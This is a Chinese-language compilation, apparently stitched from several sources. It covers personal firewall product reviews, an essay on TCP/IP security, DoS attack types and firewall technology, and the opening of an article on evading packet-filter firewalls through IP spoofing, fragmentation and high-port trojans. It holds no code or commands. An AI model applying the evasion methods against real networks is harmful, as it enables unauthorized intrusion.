Sygate Personal Firewall 是一个简单易用的个人防火墙，适合于那些网络中的单机用户来防止入侵者非法进入系统。作为一个基于主机的解决方案，该软件提供了多层保护的防火墙安全环境，可以有效地防止入侵者和黑客的侵袭。与真正的防火墙不同的是，Sygate Personal Firewall 能够从系统内部进行保护，并且可以在后台不间断地运行。另外，该软件还提供有安全访问和访问监视功能，并可向你提供所有用户的活动报告，当检测到入侵和不当的使用后，能够立即发出警报。

12.天网防火墙——强烈推荐!◆◆◆◆◆

天网防火墙个人版是一款由天网安全实验室制作的给个人电脑使用的网络安全程序。它根据系统管理者设定的安全规则把守网络，提供强大的访问控制、应用选通、信息过滤等功能。它可以帮你抵挡网络入侵和攻击，防止信息泄露，并可与天网安全实验室的网站相配合，根据可疑的攻击信息，来找到攻击者。

13.瑞友RSA防火墙◆◆

RSA迷你版是由西安瑞友信息技术资讯有限公司所出的Real Secureity & Acceleration Server防火墙的精简体验版，其包含RSA Server的部分精简功能，适合于小型企业、办公、学校、网吧等小型局域网的网络安全和线路共享。

RSA迷你版是取代目前各种代理服务器的最佳选择，她除了具有传统代理服务器的所有功能以外，还是一个集各种网络服务功能为一身的状态检测防火墙，她让您可以共享一条线路通过代理方式或者NAT地址转换方式，并且集成了DHCP、DNS等网络服务，支持常见的各种接入方式ADSLISDNModem以太网光纤等。

您还可以将她取代个人防火墙安装在个人PC上起到比个人防火墙强大百倍的效果。保证您的PC机永不受攻击性病毒或者黑客的骚扰。

RSA防火墙还具有以下性能特点：

1. 独一无二的路由加速功能

2. 坚固的防火墙能力

3. 稳定的网关性能

4. 内置DHCP服务，DNS中继

5. 独创的网络安全锁功能

6. 强大的网络抗干扰能力

7. 保证您的局域网私人资料处于安全的状态。

8. 提供网络实时过滤监控功能。

9. 防御各种木马和蠕虫病毒的恶意攻击，如冲击波、振荡波、BO、冰河。

10. 防御ICMP、IGMP洪水攻击、IGMP NUKE攻击及IGMP碎片攻击。

11. 防御诸如WinNuke、IpHacker之类的OOB攻击。

软件安装使用简单，设置选项明了，采用独特的界面设计，豪华与朴实相结合，个性化的选择，给您以美的享受。是应用于小型局域网共 享和安全防护的最佳选择！

14.反黑精英(Trojan Ender)——一般推荐◆◆◆◆

反黑精英( 原名 Trojan Ender ) 推出短短不到二个月即受到广大用户的好评！木马、QQ盗号软件、传奇盗号软件等各种黑客程序的真正克星！查杀速度最快，准确率最 高，杀除最细致! 各种辅助工具使用简单而功能强大!

查杀速度又获大幅提升！新增分析扫描功能，可查未知木马！木马、QQ盗号软件、传奇盗号软件等各种黑客程序一杀无遗！查杀全面准确，速度超快，使用简单方便，运行稳定，界面美观！可自动修复被破坏的注册表键值！支持对压缩文件的扫描，并可轻松查杀捆绑式木马、无进程木马！系统优化器提高您的系统运行效率！IE修复器轻松修复恶意网页的破坏！

15.诺顿网络安全特警（中文版）——强烈推荐◆◆◆◆◆

诺顿网络安全特警2004 简体中文零售版，10月21日发布，无缝集成防病毒、个人防火

墙、隐私控制、反垃圾邮件、父母控制等功能，可以确保您收发电子邮 件，网上购物，在线理财安全无忧。安装本软件之前请先卸载旧版本。支持自安装日起一年内在线升级。

诺顿网络安全特警2004以其全面的防护功能，高度的集成性和易用性荣获了个人电脑杂志编辑选择奖。它不仅可以防御病毒，还新增了对间谍程序，击键记录程序等非病毒性威胁的防护，保护您的密码等隐私信息不会被泄露出去；防火墙功能考虑到笔记本电脑用户经常变换网络的情况，可以根据不同的网络自动切换网络安全配置，使移动用户不会因为忘记改变安全配置而产生安全隐患；反垃圾邮件功能通过多种垃圾邮件过滤机制能够使您基本摆垃圾邮件的侵扰；父母控制功能可以为每个家庭成员设置不同的网络使用权限，并且禁止某些未成年人不宜的网上内容和网站，为您的家庭提供一个健康愉快的网络环境；总之，诺顿网络安全特警2004为个人用户提供了功能 全面

诺顿网络安全特警2004升级服务包括对下列内容的实时更新：病毒定义、病毒扫描引擎、防火墙规则、入侵检测特征、最新发现系统 漏洞、垃圾邮件定义、内容过滤信息。

警告：如牵涉到版权请试用后24小时内删除，如满意请付费作者继续使用。

16.PestPatrol Corporate Edition◆◆◆

最好的企业电脑预防保护软件，全面预防来自黑客工具的威胁，特洛伊木马、键盘监视工具，拒绝代理服务器攻击；全面检查所有文件或指定文件；扫描内存并清除病毒；检查并移动在注册表和运行的病毒；自动防止spyware进入电脑；详细的日志；隔离和删除确定病毒；支持在线升级；全面兼容其它杀毒软件防火墙。该版本在以前版本的基础上添加了一个连接、搜索标签，可以直接跟踪流行的恶意 软件信息发布网页。

17.F-Secure——强烈推荐!◆◆◆◆◆

欧洲最好的防火墙,在2003年底,F-SECURE被评为2003 TOP TEN排名第一。该防火墙的特点是利用系统资源少,对系统作没有任何影响.如果你还在用什么金山什么NORTON,KV,或者迈开非,我建议你现在就可以删除了.在欧洲多数的学校和公司都采用F-SECURE的防火墙。

18.McAfee Desktop Firewall——一般推荐◆◆◆◆

能够对客户端进行前瞻性的保护和控制，使其免受新威胁的攻击，这是单纯的防病毒产品无法实现的。 Desktop Firewall 针对网络和应用程序提供了全面的防火墙功能，并与入侵检测技术完美结合。 它可以防止客户端发送或接收非法网络流或应用程序中所携带的恶意攻击。它还可以防止合法应用程序被入侵者利用，进而在整个网络中发送或接收攻击信息。 McAfee ePolicy Orchestrator 为 Desktop Firewall 提供了可扩展的集中式管理、部署和报告功能。 此外，Desktop Firewall 能够与 McAfee VirusScan Enterprise 和 ePolicy Orchestrator 进行集成，从而提供了无可比拟的客户端安全性和投资回报率。

19.Tiny Personal Firewall◆◆

这是一个全面，却又简单易用的网络防黑软件，可以管理本机与网络的数据交换，通过设置不同的安全规则，阻挡任何未经认证的用户进入你的计算机，可以防止特洛依木马、间谍软件、网络蠕虫通过计算机窃取发送数据，支持MD5签名认证，这样可以防止trojan 使用计算机认可的应用程序来闯入计算机，还可以和不同的VPN技术如Cisco、Alcatel、Nortel整合一起。

20.瑞星防火墙——强烈推荐！◆◆◆◆◆

1、保护网络安全，免受黑客攻击。

2、采用增强型指纹技术，有效的监控网络连接。

3、内置细化的规则设置，使网络保护更加智能。

4、游戏防盗、应用程序保护等高级功能，为个人电脑提供全面安全保护。

5、通过过滤不安全的网络访问服务，极大地提高了用户电脑的上网安全。

6、彻底阻挡黑客攻击、木马程序等网络危险，保护上网帐号、QQ密码、网游帐号等信息不被窃取。

自从INTERNET进入我们的生活，到目前为止，它的影响已几乎可达全世界每个角落，真正从信息意义上形成了世界范围的地球村。我国近十年来的INTERNET用户数与带宽均以惊人的速度增长，根据CNNIC在2000年7月份的最新统计，中国网民数量已经达到1690万，相比较于同年1月份的890万，在短短的半年内，网民数量增长了一倍；2000年7月，国内注册的各类域名达到 99734个，比同年1月的48695个也增长了一倍。2000年1月的统计数字表明，我国国际线路的总带宽达到35lMbps，而2000年7月，这一数字已经达到1234Mbps，预计2001年将达到3.3Gbps。但是随之而来的是与之相伴随的很多困扰我们的因素，比如IP地址的短缺、垃圾信息的泛滥、对传统伦理观念的影响，尤其是由于当前网络协议TCP/IP所固有的缺陷所造成的安全问题。
网络上的信息安全可以大致分为三个部分：系统信息安全、传播信息安全及信息内容的安全。网络上系统信息的安全包括用户口令鉴别、用户存取权限控制、数据存取权限、方式控制、安全审计、安全问题跟踪、计算机病毒防治、数据加密等等；网络上信息的传播安全侧重于防止和控制非法、有害的信息进行传播后的后果、避免公用网络上大量自由传输的信息失控；网络上信息内容的安全则侧重于保护信息的保密性、真实性和完整性，避免攻击者利用系统的安全漏洞进行窃听、冒充、诈骗等有损于合法用户的行为，其本质上是保护用户的利益和隐私。
由于TCP/IP协议自身在安全上的脆弱性，事实上，当前INTERNET上的信息无论系统信息、还是内容信息，都具有不安全因素，比如大量的网站被黑、用户个人帐号、银行帐号被盗用、国防机密档案失窃等等，说明网络的不安全因素它已经严重影响到它自身的发展。去年被媒体爆炒的电子商务终于受到冷落的重要原因之一即是：如何保证网上交易信息的安全？
一 TCP/IP网络的脆弱性
目前使用最广泛的网络协议是TCP／IP协议，TCP/IP最初是在美国国防高级研究项目局（DARPA）的赞助下开发的，并成功应用于APPANET 上，开发它的初衷当然是军事目的，但军方后来公开了TCP/IP的核心技术，由于该技术简洁而良好的开放性，终于使它成为网际互联的基础，最终形成了今天的INTERNET。
1 TCP／IP协议存在安全漏洞
而TCP／IP的简洁与开放恰恰就意味着它在安全上存在隐患，如在IP层的IP地址可以软件设置，这就造成了地址假冒和地址欺骗两类安全隐患；IP协议支持源路由方式，即源点可以指定信息包传送到目的节点的中间路由，这就提供了源路由攻击的条件；TCP层的三次连接握手事实上也是SYN FLOODING拒绝服务的基础；其它应用层协议Telnet、FTP、SMTP等协议缺乏强有力的认证和保密措施，黑客极可能籍此造成否认、拒绝等欺瞒行为的攻击。
TCP/IP网络的开放性可以给予黑客更多的机会，但在这里需要说明的是，最终的安全问题会集中到网络服务器的*作系统上去，黑客利用TCP/IP找到了目标，最终的信息失窃和*作系统的漏洞有关，黑客们一般是利用OS的漏洞来掌握远程主机权限从而达到窃取或破坏目的。
当然，我们不可能不注意到的是网络传输中信息内容，TCP/IP协议不包含加密层，那么一旦用户捕获到网络数据后再根据协议分层分析，有可能得到大量机密信息。比如说，局域网内可能就是纯文本的信息流，通常的电子邮件也是不加密的，更糟的是，在缺省模式中电子邮件客户端用来与其电子邮件服务器进行核查的用户名与口令也是以纯文本形式发出的，可能被截获或假冒。
2 基于TCP/IP网络进行攻击的手段
一般情况下，攻击大体有如下三个步骤： 即信息收集→对系统的安全弱点探测与分析→实施攻击。
1) 信息收集
信息收集的目的是为了进入所要攻击的目标网络的数据库。黑客会利用下列的公开协议或工具，收集驻留在网络系统中的各个主机系统的相关信息。 ● SNMP协议。用来查阅网络系统路由器的路由表，从而了解目标主机所在网络的拓扑结构及其内部细节。
● TraceRoute程序。能够用该程序获得到达目标主机所要经过的网络数和路由器数。
● Whois协议。该协议的服务信息能提供所有有关DNS域和相关的管理参数。
● DNS服务器。该服务器提供了系统中可以访问的主机的IP地址表和它们所对应的主机名。
● Finger协议。可以用Finger来获取一个指定主机上的所有用户的详细信息(如用户注册名、电话号码、最后注册时间以及他们有没有读邮件等等)。
● Ping实用程序。可以用来确定一个指定的主机的位置。
● 自动Wardialing软件。可以向目标站点一次连续拨出大批电话号码，直至遇到某一正确的号码使其MODEM响应。
2) 系统安全弱点的探测
在收集到攻击目标的一批网络信息之后，黑客会探测网络上的每台主机，以寻求该系统的安全漏洞或安全弱点，黑客可能使用下列方式自动扫描驻留网络上的主机。
● 自编程序对某些产品或者系统，已经发现了一些安全漏洞，该产品或系统的厂商或组织会提供一些“补丁”程序给予弥补。但是用户并不一定及时使用这些“补丁”程序。黑客发现这些“补丁”程序的接口后会自己编写程序，通过该接口进入目标系统，这时该目标系统对于黑客来讲就变得一览无余了。
● 利用公开的工具象INTERNET的电子安全扫描程序IIS(INTERNET Security Scanner)、审计网络用的安全分析工具SATAN(Security Analysis Toolfor Auditing Network)等这样的工具，可以对整个网络或子网进行扫描，寻找安全漏洞。这些工具有两面性，就看是什么人在使用它们。系统管理员可以使用它们，以帮助发现其管理的网络系统内部隐藏的安全漏洞，从而确定系统中那些主机需要用“补丁”程序去堵塞漏洞。而黑客也可以利用这些工具，收集目标系统的信息，获取攻击目标系统的非法访问权。
3) 网络攻击
黑客使用上述方法，收集或探测到一些“有用”信息之后，就可能会对目标系统实施攻击。黑客一旦获得了对攻击的目标系统的访问权后，又可能有下述多种选择：
● 该黑客可能试图毁掉攻击入侵的痕迹，并在受到损害的系统上建立另外的新的安全漏洞或后门，以便在先前的攻击点被发现之后，继续访问这个系统。
● 该黑客可能在目标系统中安装探测器软件，包括特洛伊木马程序，用来窥探所在系统的活动，收集黑客感兴趣的一切信息，如Telnet和FTP的帐号名和口令等等。
● 黑客可能进一步发现受损系统在网络中的信任等级，这样黑客就可以通过该系统信任级展开对整个系统的攻击。
● 如果该黑客在这台受损系统上获得了特许访问权，那么它就可以读取邮件，搜索和盗窃私人文件，毁坏重要数据，破坏整个系统的信息，造成不堪设想的后果。
3 拒绝服务攻击
和上述的系统信息隐患所不同的是，INTERNET上还存在这一类恶意攻击，称之为拒绝服务攻击（Dos），这种攻击所造成的后果，虽不同于信息失窃，但会造成网络严重瘫痪，无法提供正常的服务。
DoS的攻击方式有很多种。最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源，致使服务超载，无法响应其他的请求。这些服务资源包括网络带宽、文件系统空间容量、开放的进程或者向内的连接等等。这种攻击会导致资源的匮乏，多数的DoS攻击需要相当大的带宽的，恶意的攻击者为了利用较小的个人带宽去消耗大量的带宽而开发了分布式的攻击，他们可以利用工具集合许多的网络带宽来对同一个目标发送大量的请求。
较为常见的基于网络的拒绝服务攻击有：
● Smurf (directed broadcast) 这是基于ICMP的拒绝服务攻击，ICMP是一个在主机和网关之间消息控制和差错报告协议，IP并非设计为绝对可@@，这个协议的目的是为了当网络出现问题的时候返回控制信息，它并不保证数据报或控制信息能够返回，一些数据报仍将在没有任何报告的情况下丢失。上层协议必须使用自己的差错控制程序来判断通信是否正确，ICMP信息通常会报告在处理数据报过程中的错误。当网络中的某台机器使用广播地址发送一个ICMP echo请求包时（例如PING），处于该广播网段的主机均会回应一个ICMP echo回应包，也就是说，发送一个包会收到许多的响应包。Smurf攻击就是使用这个原理来进行的，如果在网络中发送源地址为被攻击主机的地址、目的地址为广播地址的包，被攻击主机就会被这些大量的回应所淹没（因为他的地址被攻击者假冒了）。这些smurf工具可以在www.netscan.org网站上获得，许多网站至今仍有很多的这种漏洞。 ● SYN flooding 在TCP层的标准的TCP握手需要三次包交换来建立。一台服务器一旦接收到客户机的SYN包后必须回应一个SYN/ACK包，然后等待该客户机回应给它一个ACK包来确认，才真正建立连接。然而，如果此时只发送初始化的SYN包，而不发送确认服务器的ACK包会导致服务器一直等待ACK包。由于服务器在有限的时间内只能响应有限数量的连接，这就会导致服务器一直等待回应而无法响应其他机器进行的连接请求。
● Slashdot effect 这种攻击手法使web服务器或其他类型的服务器由于大量的网络传输而过载，一般这些网络流量是针对某一个页面或一个链接而产生的。当然这种现象也会在访问量较大的网站上正常发生，因为正常情况下一个服务器承受过多的用户服务请求也会同样过载。 ● 分布式攻击 有些程序如Tribe Flood Network (tfn) 和tfn2k，可以使得分散在互连网各处的机器共同完成对一台主机攻击的*作，从而使主机看起来好象是遭到了不同位置的许多主机的攻击。这些分散的机器由几台主控制机*作进行诸如UDP flood, SYN flood攻击。
4 数据传输中的不安全
当然，我们不可能不注意到的是网络传输中信息内容，TCP/IP协议不包含加密层，那么一旦用户捕获到网络数据后再根据协议分层分析，有可能得到大量机密信息。比如说，局域网内可能就是纯文本的信息流，通常入的电子邮件也是不加密的，更糟的是，在缺省模式中电子邮件客户端用来与其电子邮件服务器进行核查的用户名与口令也是以纯文本形式发出的，可能被截获或假冒。
事实上，目前对于局域网（如一段共享式HUB构成的以太网）内部的网络监听工具非常多，著名的有NFSWATCH、NETXRAY等等，这些工具通常很容易在网上得到。现在的问题是：局域网外部的攻击者有什么办法能在局域网内部使用监听工具？而根据通常所假设的内部用户可信原则，却恰恰发生的是内部用户进行了非法的越权监听，怎么办？
二 安全措施与防火墙
INTERNET上丰富的资源吸引了越来越多的用户，通常的用户都是这些资源的受益者，但我们还是会意识到网络上的巨大安全风险，至少下列用户与普通的个人用户所需要的安全级别是不一样的：
● 军事机关
● 政府部门
● 教育、科研机构
● 金融、财税、电信等具有专门的行业性质数据处理业务的部门
● 电子商务
● 各类ISP、ICP
● 企业intranet
特殊的部门信息网络可能会自成一体，但大多数情况下，即使存在安全风险，用户也会以极大的热情接入INTERNET，在这种情况下，用户采取必要的安全措施尤为重要。而在这个时候，如何既能保证享用INTERNET上的丰富资源，又能保证自身的安全呢？用户至少有两种选择：主动的入侵检测防范与较为被动的防火墙设置，其中，防火墙几乎是一个必然的选择。
根据ICSA入侵检测系统论坛的定义，入侵检测是通过从计算机网络或计算机系统中的若干关键点收集信息并对其进行分析，从中发现网络或系统中是否有违反安全策略的行为和遭到袭击的迹象(的一种安全技术)。入侵检测技术是动态安全技术的最核心技术之一。通常的入侵检测包含动态的对下列情况进行检查：系统进程、查网络连接和端口、系统日志、是否被进行大量的端口扫描、帐号扫描、以及与OS直接相关的一些进程、文件的可疑变动情况，通常包含基于网络的入侵检测系统和基于主机的入侵检测系统。入侵检测技术的特点就是主动性与动态性。用户一旦发现危险的入侵，可以采取相应的措施来保护自身的安全。理想的情况是：用户可以籍此发现攻击者或利用防火墙切断与之的连接。
防火墙通常被定义为：设置在可信任的内部网络和不可信任的外界之间的一道屏障，它可以实施比较广泛的安全政策来控制信息流，防止不可预料的潜在的入侵破坏。
通常防火墙具有以下特点：
● 从内部到外部或从外部到内部的所有通信都必须通过防火墙
● 只有符合本地安全策略的通信才会被允许通过
● 防火墙本身是免疫的，不会被穿透的
理想的防火墙应该是能过滤一切来自外部的不安全因素，防止危险的入侵活动。它可以与入侵检测系统一起维护系统的安全，也可以通过自身的良好的安全配置，简单、高效地完成大多数场合安全防护。
三 防火墙技术现状
防火墙是一套完整的（软、硬件）系统，它可以从TCP/IP的各个层次中提取、存储、记录并管理相关的信息，以便实施系统的访问安全决策控制。 防火墙的实现技术目前主要包含两大类：包过滤技术和应用代理技术，事实上，实际的产品中往往是二者的良好结合。
1 包过滤技术
包过滤技术是最早的防火墙应用技术，发展到现在，它已经从早期的静态包过滤演进到了现在的动态包过滤技术。 1) 静态包过滤
静态包过滤技术的实现非常简单，就是在网关主机的TCP/IP协议栈的IP层增加一个过滤检查，对IP包的进栈、转发、出栈时均进行针对于每个包的源地址、目的地址、端口、应用协议进行检查，用户可以设立安全策略，比如某某源地址禁止对外部的访问、禁止对外部的某些目标地址的访问、关闭一些危险的端口等等，事实证明，一些简单而有效的安全策略可以极大的提高内部系统的安全，由于静态包过滤规则的简单、高效，直至目前，它仍然得到应用。
2) 动态包过滤技术
动态包过滤（Dynamic Packet Filter）技术除了含有静态包过滤的过滤检查技术之外，还会动态的检查每一个有效连接的状态，所以通常也称为状态包过滤（Stateful Packet Filters）技术。
状态包过滤（SPFs）克服了第一代包过滤(静态包过滤)技术的不足，如信息分析只基于头信息、过滤规则的不足可能会导致安全漏洞、对于大型网络的管理能力不足等等。
SPFs对于包处理的规则是动态的，采用SPFs技术的防火墙正如在安全网络上加了一道动态的门，即使是对于同一个服务端口，它也可能根据状态检测结果适时的打开或关闭。它监视每一个有效连接的状态，并把当前数据包及其状态信息与前一时刻的数据包及状态信息进行比较，即经过一系列严密的算法分析，根据分析结果实施相应的*作，如允许数据包通过、拒绝通过、认证连接、加密数据等。 SPFs技术不仅支持TCP，同时也支持UDP等无连接的应用，SPFs防火墙对基于UDP应用安全的实现是通过在UDP通信之上保持一个虚拟连接来实现的。防火墙保存通过网关的每一个连接的状态信息，允许通过防火墙的UDP请求包被记录。当UDP包在相反方向上通过时，防火墙依据连接状态表确定该UDP 包是否被授权，若已被授权，则通过，否则拒绝。如果在指定的一段时间内响应数据包没有到达，即连接超时，则该连接被阻塞。采取这种原理可以阻塞所有的攻击，从而实现UDP应用的安全性。
在Check Point公司的产品中，SPFs技术被称之为Stateful Inspection，其核心技术已取得专利并被植入OS内核，其工作模块位于数据链路层和网络层之间，保证了防火墙对于原始数据包的截取和检查，事实上，Check Point 公司的产品也混合使用了应用代理服务，Fore公司甚至直接购买Stateful Inspection的专利形成ASIC芯片直接植入其高端交换机设备中，NetGuard产品也采用了类似的技术。
2 应用代理技术
应用代理防火墙（有时也称为应用网关）的工作方式和以包过滤技术为主的防火墙的工作方式稍有不同。它是基于软件的；当某远程用户想和一个运行应用网关的网络建立联系时，此应用网关会阻塞这个远程联接，然后对联接请求的各个域（包括应用层协议、用户帐号等等）进行检查。如果此联接请求符合预定的规则，应用代理网关即可向外部发出连接请求、建立连接，而同时内部主机仅仅是与网关主机有着连接，也就是说，应用代理网关此时充当了访问的中介。一个典型的应用代理网关不将IP数据报转发给内部网络，而是自己作为转换器和解释器完成整个访问过程。
应用级代理防火墙模式提供了十分先进的安全控制。因为它通过在协议栈的最高层检查每一个东西而提供了足够的应用级连接的信息。因为在应用层中它有足够的能见度，应用级代理防火墙能很容易看见前面提及的每一个连接的细节从而实现安全策略。例如这种防火墙能很容易运用适当的策略区分重要的应用程序命令，象 ftp的“put”和“get”。这种方式被称之为man-in-the-middle configuration。
应用级代理防火墙也具有内建代理功能的特性，即在防火墙处终止客户连接并初始化一个新的连接到受保护的内部网络。这一内建代理机制提供额外的安全，这是因为它将内部和外部系统隔离开来，使系统外部的黑客在防火墙内部系统上进行探测变得更困难。同时一般它们都有完整的系统日志。然而所有的这些优点都是通过牺牲速度换取的，因为每次联接请求和所有发往内部网的报文在网关上经历接受、分析、转换和再转发等几个过程，完成这些过程所需时间显然比包过滤防火墙的时间长得多。应用网关另一个不足之处是，必须为每个网络服务创建一个应用代理。
3 防火墙领域的前沿技术
1) 自适应的代理服务防火墙
“自适应代理”是最近一代防火墙设计。基本安全检测仍在安全应用层进行，但一旦安全检测后包能重新直接通过网络层，则能够动态“适应”传送中的分组流量，从而明显改善了防火墙性能。因此自适应防火墙基本上和标准代理服务防火墙一样安全，但是却显著的提高了它的速度。
2) 桥式接口防火墙
通常的包过滤过程通常在TCP/IP协议栈的IP层，而交换式接口防火墙对于数据包的截取却是在数据链路层，它利用在链路层截取到的包直接分析其IP层信息，从而进行相应的信息安全检查，合法的包再根据其链路层地址进行端口转发。
这种防火墙在许多场合极具优势，如管理简单、客户端设置无须变更、处理速度快等等，目前国外与国内均有此类产品。
3) 混合型防火墙
事实上，现在的防火墙产品大多是集成包过滤以及应用代理技术为一体，用户在使用时，可以有多种选择，以提高其安全性。 当然，混合型防火墙不仅包含了多种防火墙技术，它也可能包含了其它与信息安全直接相关的技术，如VPN、入侵检测等等。
但是，无论拥有什么先进的安全技术与产品，我们都不能认为自己的系统是绝对安全的，网络攻击与安全防范永远是一对矛盾，它最终会导致现有整个网络体系的完善与进步

深度数据包处理

　　深度数据包处理有时被称为深度数据包检测或者语义检测，它就是把多个数据包关联到一个数据流当中，在寻找攻击异常行为的同时，保持整个数据流的状态。深度数据包处理要求以极高的速度分析、检测及重新组装应用流量，以避免给应用带来时延。下面每一种技术代表深度数据包处理的不同级别。

　　TCP/IP终止

　　应用层攻击涉及多种数据包，并且常常涉及多种请求，即不同的数据流。流量分析系统要发挥功效，就必须在用户与应用保持互动的整个会话期间，能够检测数据包和请求，以寻找攻击行为。至少，这需要能够终止传输层协议，并且在整个数据流而不是仅仅在单个数据包中寻找恶意模式。

　　SSL终止

　　如今，几乎所有的安全应用都使用HTTPS确保通信的保密性。然而，SSL数据流采用了端到端加密，因而对被动探测器如入侵检测系统（IDS）产品来说是不透明的。为了阻止恶意流量，应用防火墙必须终止SSL，对数据流进行解码，以便检查明文格式的流量。这是保护应用流量的最起码要求。如果你的安全策略不允许敏感信息在未加密的前提下通过网络传输，你就需要在流量发送到Web服务器之前重新进行加密的解决方案。

　　URL过滤

　　一旦应用流量呈明文格式，就必须检测HTTP请求的URL部分，寻找恶意攻击的迹象，譬如可疑的统一代码编码（unicode encoding）。对URL过滤采用基于特征的方案，仅仅寻找匹配定期更新的特征、过滤掉与已知攻击如红色代码和尼姆达有关的URL，这是远远不够的。这就需要一种方案不仅能检查RUL，还能检查请求的其余部分。其实，如果把应用响应考虑进来，可以大大提高检测攻击的准确性。虽然URL过滤是一项重要的操作，可以阻止通常的脚本少年类型的攻击，但无力抵御大部分的应用层漏洞。

请求分析

　　全面的请求分析技术比单单采用URL过滤来得有效，可以防止Web服务器层的跨站脚本执行（cross-site scripting）漏洞和其它漏洞。全面的请求分析使URL过滤更进了一步：可以确保请求符合要求、遵守标准的HTTP规范，同时确保单个的请求部分在合理的大小限制范围之内。这项技术对防止缓冲器溢出攻击非常有效。然而，请求分析仍是一项无状态技术。它只能检测当前请求。正如我们所知道的那样，记住以前的行为能够获得极有意义的分析，同时获得更深层的保护。

　　用户会话跟踪

　　更先进的下一个技术就是用户会话跟踪。这是应用流量状态检测技术的最基本部分：跟踪用户会话，把单个用户的行为关联起来。这项功能通常借助于通过 URL重写（URL rewriting）来使用会话信息块加以实现。只要跟踪单个用户的请求，就能够对信息块实行极其严格的检查。这样就能有效防御会话劫持（session -hijacking）及信息块中毒（cookie-poisoning）类型的漏洞。有效的会话跟踪不仅能够跟踪应用防火墙创建的信息块，还能对应用生成的信息块进行数字签名，以保护这些信息块不被人篡改。这需要能够跟踪每个请求的响应，并从中提取信息块信息。

　　响应模式匹配

　　响应模式匹配为应用提供了更全面的保护：它不仅检查提交至Web服务器的请求，还检查Web服务器生成的响应。它能极其有效地防止网站受毁损，或者更确切地说，防止已毁损网站被浏览。对响应里面的模式进行匹配相当于在请求端对URL进行过滤。响应模式匹配分三个级别。防毁损工作由应用防火墙来进行，它对站点上的静态内容进行数字签名。如果发现内容离开Web服务器后出现了改动，防火墙就会用原始内容取代已毁损页面。至于对付敏感信息泄露方面，应用防火墙会监控响应，寻找可能表明服务器有问题的模式，譬如一长串Java异常符。如果发现这类模式，防火墙就会把它们从响应当中剔除，或者干脆封阻响应。

　　采用“停走”字（‘stop and go’word）的方案会寻找必须出现或不得出现在应用生成的响应里面的预定义通用模式。譬如说，可以要求应用提供的每个页面都要有版权声明。

　　行为建模

　　行为建模有时称为积极的安全模型或“白名单”（white list）安全，它是唯一能够防御最棘手的应用漏洞——零时间漏洞的保护机制。零时间漏洞是指未写入文档或“还不知道”的攻击。对付这类攻击的唯一机制就是只允许已知是良好行为的行为，其它行为一律禁止。这项技术要求对应用行为进行建模，这反过来就要求全面分析提交至应用的每个请求的每次响应，目的在于识别页面上的行为元素，譬如表单域、按钮和超文本链接。这种级别的分析可以发现恶意表单域及隐藏表单域操纵类型的漏洞，同时对允许用户访问的URL实行极其严格的监控。行为建模是唯一能够有效对付全部16种应用漏洞的技术。行为建模是一种很好的概念，但其功效往往受到自身严格性的限制。某些情况譬如大量使用 JavaScript或者应用故意偏离行为模型都会导致行为建模犯错，从而引发误报，拒绝合理用户访问应用。行为建模要发挥作用，就需要一定程度的人为干预，以提高安全模型的准确性。行为自动预测又叫规则自动生成或应用学习，严格说来不是流量检测技术，而是一种元检测（meta-inspection）技术，它能够分析流量、建立行为模型，并且借助于各种关联技术生成应用于行为模型的一套规则，以提高精确度。行为建模的优点在于短时间学习应用之后能够自动配置。保护端口80是安全人员面临的最重大也是最重要的挑战之一。所幸的是，如今已出现了解决这一问题的创新方案，而且在不断完善。如果在分层安全基础设施里面集成了能够封阻16类应用漏洞的应用防火墙，你就可以解决应用安全这一难题

现在随着人们的安全意识加强，防火墙一般都被公司企业采用来保障网络的安全，一般的攻击者在有防火墙的情况下，一般是很难入侵的。下面谈谈有防火墙环境下的攻击和检测。

一 防火墙基本原理

首先，我们需要了解一些基本的防火墙实现原理。防火墙目前主要分包过滤，和状态检测的包过滤，应用层代理防火墙。但是他们的基本实现都是类似的。

│ │---路由器-----网卡│防火墙│网卡│----------内部网络│ │

防火墙一般有两个以上的网络卡，一个连到外部（router)，另一个是连到内部网络。当打开主机网络转发功能时，两个网卡间的网络通讯能直接通过。当有防火墙时，他好比插在网卡之间，对所有的网络通讯进行控制。

说到访问控制，这是防火墙的核心了：），防火墙主要通过一个访问控制表来判断的，他的形式一般是一连串的如下规则：

1 accept from+ 源地址，端口 to+ 目的地址，端口+ 采取的动作

2 deny ...........（deny就是拒绝。。)

3 nat ............(nat是地址转换。后面说）

防火墙在网络层（包括以下的炼路层）接受到网络数据包后，就从上面的规则连表一条一条地匹配，如果符合就执行预先安排的动作了！如丢弃包。。。。

但是，不同的防火墙，在判断攻击行为时，有实现上的差别。下面结合实现原理说说可能的攻击。


二 攻击包过滤防火墙

包过滤防火墙是最简单的一种了，它在网络层截获网络数据包，根据防火墙的规则表，来检测攻击行为。他根据数据包的源IP地址；目的IP地址；TCP/UDP源端口；TCP/UDP目的端口来过滤！！很容易受到如下攻击：

1 ip 欺骗攻击：

这种攻击，主要是修改数据包的源，目的地址和端口，模仿一些合法的数据包来骗过防火墙的检测。如：外部攻击者，将他的数据报源地址改为内部网络地址，防火墙看到是合法地址就放行了：）。可是，如果防火墙能结合接口，地址来匹配，这种攻击就不能成功了：（

2 d.o.s拒绝服务攻击

简单的包过滤防火墙不能跟踪 tcp的状态，很容易受到拒绝服务攻击，一旦防火墙受到d.o.s攻击，他可能会忙于处理，而忘记了他自己的过滤功能。：）你就可以饶过了，不过这样攻击还很少的。！

3 分片攻击

这种攻击的原理是：在IP的分片包中，所有的分片包用一个分片偏移字段标志分片包的顺序，但是，只有第一个分片包含有TCP端口号的信息。当IP分片包通过分组过滤防火墙时，防火墙只根据第一个分片包的Tcp信息判断是否允许通过，而其他后续的分片不作防火墙检测，直接让它们通过。

这样，攻击者就可以通过先发送第一个合法的IP分片，骗过防火墙的检测，接着封装了恶意数据的后续分片包就可以直接穿透防火墙，直接到达内部网络主机，从而威胁网络和主机的安全。

4 木马攻击

对于包过滤防火墙最有效的攻击就是木马了，一但你在内部网络安装了木马，防火墙基本上是无能为力的。

原因是：包过滤防火墙一般只过滤低端口（1-1024），而高端口他不可能过滤的（因为，一些服务要用到高端口，因此防火墙不能关闭高端口的），所以很多的木马都在高端口打开等待，如冰河，subseven等。。。

但是木马攻击的前提是必须先上传，运行木马，对于简单的包过滤防火墙来说，是容易做的。这里不写这个了。大概就是利用内部网络主机开放的服务漏洞。

早期的防火墙都是这种简单的包过滤型的，到现在已很少了，不过也有。现在的包过滤采用的是状态检测技术，下面谈谈状态检测的包过滤防火墙。

三 攻击状态检测的包过滤

状态检测技术最早是checkpoint提出的，在国内的许多防火墙都声称实现了状态检测技术。

